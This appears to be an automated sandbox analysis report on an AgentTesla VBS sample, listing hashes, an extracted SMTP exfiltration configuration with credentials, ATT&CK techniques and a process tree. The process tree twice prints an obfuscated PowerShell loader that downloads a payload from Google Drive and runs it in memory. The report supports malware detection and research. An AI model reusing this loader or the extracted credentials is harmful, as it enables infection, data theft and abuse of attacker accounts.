agenttesla | 9cec82087a35cfbb1b0097af9f6113b80cdbcdf9c73383a412dbf8408f37dfeb

General

Target

9cec82087a35cfbb1b0097af9f6113b80cdbcdf9c73383a412dbf8408f37dfeb.vbs
Size

10KB
MD5

420b31e03f0aac291050345120dbb1c8
SHA1

e0968e51e1f6d8f3335ef9b9d5dea2c3f2253079
SHA256

9cec82087a35cfbb1b0097af9f6113b80cdbcdf9c73383a412dbf8408f37dfeb
SHA512

b5d3d8a5fc03ffb54a166b30f4bcdb1073fbdc08df5013b170321199f1939de630f596d058f44a5c4d9bae8f7f3130a6cd3b1d5a11d7f1d9753aee926f0dd7ac
SSDEEP

192:LIOoWa+tZFy6AA+1WHfa1vD7nSruBun2mF:LmW7y6AASOE7nSr0uBF

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.blachownia.pl
Port:
587
Username:
[email protected]
Password:
Zamowienia-2017
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	2040	WScript.exe
8	2984	powershell.exe
10	2984	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
8	drive.google.com
12	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2208	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1672	powershell.exe
2208	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1672 set thread context of 2208	1672	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2984	powershell.exe
1672	powershell.exe
1672	powershell.exe
2208	wab.exe
2208	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1672	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	2208	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 2984	2040	WScript.exe	29
PID 2040 wrote to memory of 2984	2040	WScript.exe	29
PID 2040 wrote to memory of 2984	2040	WScript.exe	29
PID 2984 wrote to memory of 2440	2984	powershell.exe	31
PID 2984 wrote to memory of 2440	2984	powershell.exe	31
PID 2984 wrote to memory of 2440	2984	powershell.exe	31
PID 2984 wrote to memory of 1672	2984	powershell.exe	32
PID 2984 wrote to memory of 1672	2984	powershell.exe	32
PID 2984 wrote to memory of 1672	2984	powershell.exe	32
PID 2984 wrote to memory of 1672	2984	powershell.exe	32
PID 1672 wrote to memory of 2668	1672	powershell.exe	33
PID 1672 wrote to memory of 2668	1672	powershell.exe	33
PID 1672 wrote to memory of 2668	1672	powershell.exe	33
PID 1672 wrote to memory of 2668	1672	powershell.exe	33
PID 1672 wrote to memory of 2208	1672	powershell.exe	34
PID 1672 wrote to memory of 2208	1672	powershell.exe	34
PID 1672 wrote to memory of 2208	1672	powershell.exe	34
PID 1672 wrote to memory of 2208	1672	powershell.exe	34
PID 1672 wrote to memory of 2208	1672	powershell.exe	34
PID 1672 wrote to memory of 2208	1672	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9cec82087a35cfbb1b0097af9f6113b80cdbcdf9c73383a412dbf8408f37dfeb.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Smaabarns = 1;$Cutleriaceous='Su';$Cutleriaceous+='bstrin';$Cutleriaceous+='g';Function Sanktionspolitik($Hematospectrophotometer){$Konsistoriemedlem=$Hematospectrophotometer.Length-$Smaabarns;For($Nedblndinger=1;$Nedblndinger -lt $Konsistoriemedlem;$Nedblndinger+=2){$Afgrnsnings+=$Hematospectrophotometer.$Cutleriaceous.Invoke( $Nedblndinger, $Smaabarns);}$Afgrnsnings;}function Recours($Acuating){& ($Vsentlighedskriteriernes) ($Acuating);}$Sues=Sanktionspolitik 'SM oFzbi lDl a,/V5P.s0 ,(SW i nbdEoSw s ANBTC O1U0 .,0 ;c TW i n 6.4M;, Ox,6T4C;. SrSv : 1R2M1A.T0 )R UGOe cDk oT/B2t0L1s0 0P1.0E1R HF,i rBeOfSoAxn/.1 2H1 .,0, ';$Konomimnstret=Sanktionspolitik 'SU s.e.r.- ADg e n,tH ';$Lugtesans=Sanktionspolitik 'Wh tUtSpDs :U/ /.d rSi,v.e..Rg o o.g l,e . c,oPmS/Bu c,?TeNx p o.rBt =AdpoSw nFlSo.aOd & iAdU=P1SA xNSIgHx,zSnDh O,1AxW7.q U 1Tb 1.bS1PL.3Fe.hGNaULE LPOAPUgJpSL ';$Bloodstones=Sanktionspolitik 'A>C ';$Vsentlighedskriteriernes=Sanktionspolitik 'hiCe xc ';$Pedler='Konferensers206';Recours (Sanktionspolitik 'JS.eItM-WC o n tSe.nVt, ,-.PbaLtGhC GTR:,\EX eLnVoKfMoSb.i s k eV.,tAx.t. P-MVPaQlIuDeS $.PPe,d lVeBrU;R ');Recours (Sanktionspolitik 'Oi fF ,(Bt e s tU-.pTaStWhI ,T :.\SX ePnMo,f.o.bMirsDkTe .,t xltN).{,e x,iAtV} ;S ');$Bogtilrettelgger = Sanktionspolitik ',eUc h.o .%Ka,p.pTd a.t.a %T\RF uBdEg y . SFyFn &A&T eIcDhHo T$. ';Recours (Sanktionspolitik 'd$ gUlFoObmaTlP:CCAa.f,eFt,ePa.t,rEeOs =.(RcFm,dS L/OcS A$TB oSgUt iOl rte tUt e.ltg g.eorS)l ');Recours (Sanktionspolitik 'B$.g,l oMb,aRl,: uTn,c,r.u.sKtmeEdS= $.LNuEg.tOe.sLa,n.s . sRprl.iCt.( $.B.lIo oCdSsBtFoCnSe.s ). ');$Lugtesans=$uncrusted[0];Recours (Sanktionspolitik 'B$ g.l.o b a l,:tF u s o.i.d = N.e,wA- OFbFjSeMcHt. LS.yDsTt eEm,.ANTeDtD.FW eSbGC,lSiPe.n,t ');Recours (Sanktionspolitik 'I$,FRuGs,o.i d . HIeDaEd e r s [,$ K o nNoDmci m.n s.tGrSe t ]M=S$ SUuNe s ');$Cloche=Sanktionspolitik ' FEu sEoli.d . DSoNwPn l.o,aAdBFUi l.e (H$dLPuDg.tBeBs.a n.sF, $DUknStWr aLvIe.l eBdO), ';$Cloche=$Cafeteatres[1]+$Cloche;$Untraveled=$Cafeteatres[0];Recours (Sanktionspolitik 'H$ gDl oPb,a ld:uCIa l i cIu.lCa.tBe.1.7B1M=,( TSeGsDt -BPTaDt hF $ UUn.t r,a.v.eElBe dH) ');while (!$Caliculate171) {Recours (Sanktionspolitik ' $.gBlEoRb a l,:LO p.t.iUcLsT=U$ tSr uFe ') ;Recours $Cloche;Recours (Sanktionspolitik 'VSPtOaIr t -GSKl e eBpO A4 ');Recours (Sanktionspolitik 'B$,g lOoPbVaAlR: CBa,l.iTcRuWl aHt e.1,7 1 =K(cT e sMt - P.aEt hE S$SU.nLt r a vHeSlUeFdF), ') ;Recours (Sanktionspolitik 'F$Rg,lSo b a lS:SC u v,i,e.r iTaTnB=.$,g l,oOb aIlP: A m pUeHrSsMaFnSdSsA1,5L3 +b+,%S$ u n cerhu.s.tOe d .Dc.o uMn.tU ') ;$Lugtesans=$uncrusted[$Cuvierian];}$Equalisations=322933;$Trakkasseres=26388;Recours (Sanktionspolitik 'T$PgClCo bsa lK:LAtf g a nUg s.pPeRrRrDoIn e.r n.e.sH I=f aG.eCt,-AC,o n tbeDnDt S$IU n,t,rGa v.e.l eAd. ');Recours (Sanktionspolitik 'R$BgJlTo b,a.lN: ANn eLcNhTo iDcU1 9O6 =D [NSIyEsKt eOm .,Cao,nMv e r t ] :S: FKr o.mSBUa s e 6,4.S tTrUi nMgS(O$AA fMg a,n gMssp eSrSr o nAeFrNn,eBs )F ');Recours (Sanktionspolitik ',$ gBl oEbRaSlE: F o.l kNe p.e n.s itohn sRaAl d,e r,eVnBsU M=T .[sS.yNsGt eOm,.,T.e x.tT.BE n.c o.dFi,n gR]R:T: A S C,I,I . G eAt S t r i,nIg,(.$ ABn e c h.osiMc,1 9.6,)d ');Recours (Sanktionspolitik 'F$ g lPorb a.lS:kGceCnGo pSlDi,v n iAn g.e rIn e =R$PF.oHlFk e.p eUnBs i.o n,s.aFl dTeOr eCn sU.Rs.u.b s tRr.i,n gU(R$ EAq,u a.lFiTs,aTt iUoSn s,,.$STPr a,kTkDaDs sSe,rPe sF), ');Recours $Genoplivningerne;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fudgy.Syn && echo $"
    3⤵
    PID:2440
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Smaabarns = 1;$Cutleriaceous='Su';$Cutleriaceous+='bstrin';$Cutleriaceous+='g';Function Sanktionspolitik($Hematospectrophotometer){$Konsistoriemedlem=$Hematospectrophotometer.Length-$Smaabarns;For($Nedblndinger=1;$Nedblndinger -lt $Konsistoriemedlem;$Nedblndinger+=2){$Afgrnsnings+=$Hematospectrophotometer.$Cutleriaceous.Invoke( $Nedblndinger, $Smaabarns);}$Afgrnsnings;}function Recours($Acuating){& ($Vsentlighedskriteriernes) ($Acuating);}$Sues=Sanktionspolitik 'SM oFzbi lDl a,/V5P.s0 ,(SW i nbdEoSw s ANBTC O1U0 .,0 ;c TW i n 6.4M;, Ox,6T4C;. SrSv : 1R2M1A.T0 )R UGOe cDk oT/B2t0L1s0 0P1.0E1R HF,i rBeOfSoAxn/.1 2H1 .,0, ';$Konomimnstret=Sanktionspolitik 'SU s.e.r.- ADg e n,tH ';$Lugtesans=Sanktionspolitik 'Wh tUtSpDs :U/ /.d rSi,v.e..Rg o o.g l,e . c,oPmS/Bu c,?TeNx p o.rBt =AdpoSw nFlSo.aOd & iAdU=P1SA xNSIgHx,zSnDh O,1AxW7.q U 1Tb 1.bS1PL.3Fe.hGNaULE LPOAPUgJpSL ';$Bloodstones=Sanktionspolitik 'A>C ';$Vsentlighedskriteriernes=Sanktionspolitik 'hiCe xc ';$Pedler='Konferensers206';Recours (Sanktionspolitik 'JS.eItM-WC o n tSe.nVt, ,-.PbaLtGhC GTR:,\EX eLnVoKfMoSb.i s k eV.,tAx.t. P-MVPaQlIuDeS $.PPe,d lVeBrU;R ');Recours (Sanktionspolitik 'Oi fF ,(Bt e s tU-.pTaStWhI ,T :.\SX ePnMo,f.o.bMirsDkTe .,t xltN).{,e x,iAtV} ;S ');$Bogtilrettelgger = Sanktionspolitik ',eUc h.o .%Ka,p.pTd a.t.a %T\RF uBdEg y . SFyFn &A&T eIcDhHo T$. ';Recours (Sanktionspolitik 'd$ gUlFoObmaTlP:CCAa.f,eFt,ePa.t,rEeOs =.(RcFm,dS L/OcS A$TB oSgUt iOl rte tUt e.ltg g.eorS)l ');Recours (Sanktionspolitik 'B$.g,l oMb,aRl,: uTn,c,r.u.sKtmeEdS= $.LNuEg.tOe.sLa,n.s . sRprl.iCt.( $.B.lIo oCdSsBtFoCnSe.s ). ');$Lugtesans=$uncrusted[0];Recours (Sanktionspolitik 'B$ g.l.o b a l,:tF u s o.i.d = N.e,wA- OFbFjSeMcHt. LS.yDsTt eEm,.ANTeDtD.FW eSbGC,lSiPe.n,t ');Recours (Sanktionspolitik 'I$,FRuGs,o.i d . HIeDaEd e r s [,$ K o nNoDmci m.n s.tGrSe t ]M=S$ SUuNe s ');$Cloche=Sanktionspolitik ' FEu sEoli.d . DSoNwPn l.o,aAdBFUi l.e (H$dLPuDg.tBeBs.a n.sF, $DUknStWr aLvIe.l eBdO), ';$Cloche=$Cafeteatres[1]+$Cloche;$Untraveled=$Cafeteatres[0];Recours (Sanktionspolitik 'H$ gDl oPb,a ld:uCIa l i cIu.lCa.tBe.1.7B1M=,( TSeGsDt -BPTaDt hF $ UUn.t r,a.v.eElBe dH) ');while (!$Caliculate171) {Recours (Sanktionspolitik ' $.gBlEoRb a l,:LO p.t.iUcLsT=U$ tSr uFe ') ;Recours $Cloche;Recours (Sanktionspolitik 'VSPtOaIr t -GSKl e eBpO A4 ');Recours (Sanktionspolitik 'B$,g lOoPbVaAlR: CBa,l.iTcRuWl aHt e.1,7 1 =K(cT e sMt - P.aEt hE S$SU.nLt r a vHeSlUeFdF), ') ;Recours (Sanktionspolitik 'F$Rg,lSo b a lS:SC u v,i,e.r iTaTnB=.$,g l,oOb aIlP: A m pUeHrSsMaFnSdSsA1,5L3 +b+,%S$ u n cerhu.s.tOe d .Dc.o uMn.tU ') ;$Lugtesans=$uncrusted[$Cuvierian];}$Equalisations=322933;$Trakkasseres=26388;Recours (Sanktionspolitik 'T$PgClCo bsa lK:LAtf g a nUg s.pPeRrRrDoIn e.r n.e.sH I=f aG.eCt,-AC,o n tbeDnDt S$IU n,t,rGa v.e.l eAd. ');Recours (Sanktionspolitik 'R$BgJlTo b,a.lN: ANn eLcNhTo iDcU1 9O6 =D [NSIyEsKt eOm .,Cao,nMv e r t ] :S: FKr o.mSBUa s e 6,4.S tTrUi nMgS(O$AA fMg a,n gMssp eSrSr o nAeFrNn,eBs )F ');Recours (Sanktionspolitik ',$ gBl oEbRaSlE: F o.l kNe p.e n.s itohn sRaAl d,e r,eVnBsU M=T .[sS.yNsGt eOm,.,T.e x.tT.BE n.c o.dFi,n gR]R:T: A S C,I,I . G eAt S t r i,nIg,(.$ ABn e c h.osiMc,1 9.6,)d ');Recours (Sanktionspolitik 'F$ g lPorb a.lS:kGceCnGo pSlDi,v n iAn g.e rIn e =R$PF.oHlFk e.p eUnBs i.o n,s.aFl dTeOr eCn sU.Rs.u.b s tRr.i,n gU(R$ EAq,u a.lFiTs,aTt iUoSn s,,.$STPr a,kTkDaDs sSe,rPe sF), ');Recours $Genoplivningerne;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1672
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fudgy.Syn && echo $"
      4⤵
      PID:2668
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabE003.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Roaming\Fudgy.Syn

Filesize
454KB

MD5
fc62b80e164b7026eac50c83ad55770e

SHA1
0cd849e2fa77e57d94ebe8c5b7685474e2438e48

SHA256
473ff96f43544f04cb08a9e6faa4a72162ebd8e93363cb82cdd914f34eb38f1c

SHA512
924b368df010aecca6d7efb572ab0a8d7a5afaacb3c12b94877f0606efe113184180fdf47067d00004f49297c3978054abc0980b51c04b8e145d9e276041c8de

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\LCXMZGY2388JJPZYGBAU.temp

Filesize
7KB

MD5
6c46c14adf8b8d80199fa256656fc23f

SHA1
d0a24dadd042739984c3ae8426d06e90dbf56157

SHA256
86466c333d85fe3d3b6dc9fc2abd9fdcc3c401ed21ea28a0a7004dd4f4532006

SHA512
cda2ed0925191945bbd79033605bcadc36197cff04e8356e20f6f69dcc803a0b3fcf3f303caefb29cb2e55cf73176edc19aeb34364a800826bbc4908234943b4

Download Submit
memory/1672-26-0x00000000065E0000-0x0000000008374000-memory.dmp

Filesize
29.6MB

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memory/2208-49-0x0000000000400000-0x0000000001462000-memory.dmp

Filesize
16.4MB

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memory/2208-51-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

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memory/2984-24-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

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memory/2984-18-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

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memory/2984-15-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

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memory/2984-12-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

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memory/2984-14-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2984-25-0x000007FEF538E000-0x000007FEF538F000-memory.dmp

Filesize
4KB

Download
memory/2984-11-0x000007FEF538E000-0x000007FEF538F000-memory.dmp

Filesize
4KB

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memory/2984-13-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-17-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-50-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-16-0x000007FEF50D0000-0x000007FEF5A6D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads